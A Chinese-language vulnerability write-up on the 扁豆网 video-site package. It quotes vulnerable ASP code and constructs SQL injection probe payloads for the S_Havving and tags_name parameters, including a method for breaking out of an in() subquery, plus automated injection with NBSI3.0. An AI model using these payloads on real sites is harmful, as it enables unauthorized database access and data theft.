“扁豆网整站程序”是扁豆网仿土豆网制作的一套整站程序,界面清新美观,是众多站长的选择之一。下面,我们就来看看这套整站程序的安全是否和它的外观一样的好。

本地架设好这套程序,用阿D-SQL注入工具扫描了一下,发现不存在明显的注入漏洞,如图1所示。看到这个结果我很开心,因为现在的脚本程序员已经开始重视SQL注入的危害了。

细析“扁豆网整站程序”漏洞

图1

工具既然扫不出注入点,看来还是从代码分析漏洞比较实际。随便打开一个文件srcshow.asp,代码如下。

 

……
if Src_ID = "" or isnumeric(Src_ID) = false then
Response.Redirect("default.asp")
Response.End()
end if
set rs=conn.execute("SELECT top 1 Src_UserID from WoWo_Source where Src_ID="&Src_ID)
……

可以看到,Src_id变量已经用isnumberic函数强制限制为数字了,所以注入就不存在了。这个文件没有注入漏洞,但我不信每个文件都没注入漏洞!经过半小时的查找,终于被我找到了两处注入漏洞,两处注入漏洞都同时发生于wolib/cls_class1.asp文件,但是其利用方法与常规注入方式不同。我先介绍第一个注入漏洞,漏洞代码如下。

……
S_Havving = Request("S_Havving")
……
Sql = "SELECT WoWo_Source.*, WoWo_User.User_CoolName, WoWo_User.User_Address, WoWo_SrcType.Type_name, WoWo_SrcChild.Child_name " & _"FROM WoWo_SrcChild INNER JOIN (WoWo_SrcType INNER JOIN (WoWo_Source INNER JOIN WoWo_User ON WoWo_Source.Src_UserID = WoWo_User.User_ID) ON WoWo_SrcType.Type_id = WoWo_Source.Src_TypeID) ON WoWo_SrcChild.Child_id = WoWo_Source.Src_ChildID " & _"WHERE WoWo_Source.Src_IsOver=False and Src_TypeID="& Session("_WTypeID")
if tags_ID <> "" then
……
S_Havving = Request("S_Havving")         搜索条件
if S_Havving <> "" then
Sql = Sql & " and Src_WebName like %"& S_Havving &"% or Src_Url like %" & S_Havving & "% or Src_Desc like %" & S_Havving & "%"
……

 

变量S_Havving没有经过任何过虑就进入数据库查询了,这样就导致了漏洞的产生。下面我们来构造一下注入点,源代码的查询语句是“and Src_WebName like %"& S_Havving &"% or Src_Url like %" & S_Havving & "% or Src_Desc like %" & S_Havving & "%"”,我们来分析一下。假设我们提交一些数据(如林心如)匹配Src_WebName,那么查询就是“and Src_WebName like %林心如%”了,如果能查询出结果,那么我们就可以进行注入了,例如提交“林心如%and 1=1 and %=”和“林心如%and 1=2 and %=”,执行的SQL语句就是“and Src_WebName like %林心如%and 1=1 and %=%”和“and Src_WebName like %林心如%and 1=2 and %=%”,返回的信息如图2和图3所示。

细析“扁豆网整站程序”漏洞

图2

细析“扁豆网整站程序”漏洞

图3

呵呵,注入漏洞测试成功!我们只要把“林心如%and 1=2 and %=”中的“and 1=2”替换成我们的注入语句就可以了。这里我们还可以使用工具来注入,就用NBSI3.0来演示一下吧,如图4所示。我们先提交一个字符“a”,然后抓包,再用NBSI3.0进行检测,填上关键字后就可以对这个变量进行注入了。

细析“扁豆网整站程序”漏洞

图4

下面介绍第二个注入漏洞,漏洞同样是在wolib/cls_class1.asp文件中产生的,具体漏洞代码如下。

 

……
tags_name = Request("tags_name")
……
Sql = "SELECT WoWo_Source.*, WoWo_User.User_CoolName, WoWo_User.User_Address, WoWo_SrcType.Type_name, WoWo_SrcChild.Child_name " & _"FROM WoWo_SrcChild INNER JOIN (WoWo_SrcType INNER JOIN (WoWo_Source INNER JOIN WoWo_User ON WoWo_Source.Src_UserID = WoWo_User.User_ID) ON WoWo_SrcType.Type_id = WoWo_Source.Src_TypeID) ON WoWo_SrcChild.Child_id = WoWo_Source.Src_ChildID " & _"WHERE WoWo_Source.Src_IsOver=False and Src_TypeID="& Session("_WTypeID")
if tags_ID <> "" then
……
if tags_name <> "" then
Sql = Sql & " and Src_ID in(Select SrcTag_SrcID From Wowo_SrcTags Where trim(SrcTag_Name)="&tags_name&")"
……

我们从代码中可以看出,变量tags_name在赋值后并没有做过滤就进行了数据库查询,导致了注入漏洞的产生。但是问题又来了,仔细看一下代码,其SQL语句是用in()函数包含tags_name、SrcTag_SrcID等多个变量来进行查询的。那么,我们该怎样去注入呢?

很简单,用括号来闭合语句就行了。变量tags_name进入数据库查询的语句是“and Src_ID in(Select SrcTag_SrcID From Wowo_SrcTags Where trim(SrcTag_Name)="&tags_name&")”,如果我们提交的数据为字符串“娱乐”的话,那么执行的SQL语句就是“and Src_ID in(Select SrcTag_SrcID From Wowo_SrcTags Where trim(SrcTag_Name)=娱乐)”。分析完执行的语句后,我们再来构造注入语句。

大家应该还记得Oblog的js.asp文件的注入吧?那个注入点就是在in()函数中进行注入的,但那时是数字型in()注入,今天我们要讲的是字符型的in()注入,貌似网上还没有看到过这样的注入点哦。

我们现在来构造这样的语句“娱乐’)and 1=1 and (‘1’=’1”,那么,执行的SQL语句就是“and Src_ID in(Select SrcTag_SrcID From Wowo_SrcTags Where trim(SrcTag_Name)=娱乐’)and 1=1 and (‘1’=’1)”,这样就绕过in()函数了。现在我们来测试一下!

打开地址“?Tags_Name=娱乐”,然后我们提交这样的URL“?Tags_Name=娱乐)and%201=1%20and%20(1=1”和“?Tags_Name=娱乐)and%201=2%20and%20(1=1”,返回的结果如图5和图6所示。这样就成功地进行了注入攻击!我们只要把语句中的“and 1=2”换成SQL注入语句就可以进行注入了!

细析“扁豆网整站程序”漏洞

图5

细析“扁豆网整站程序”漏洞

图6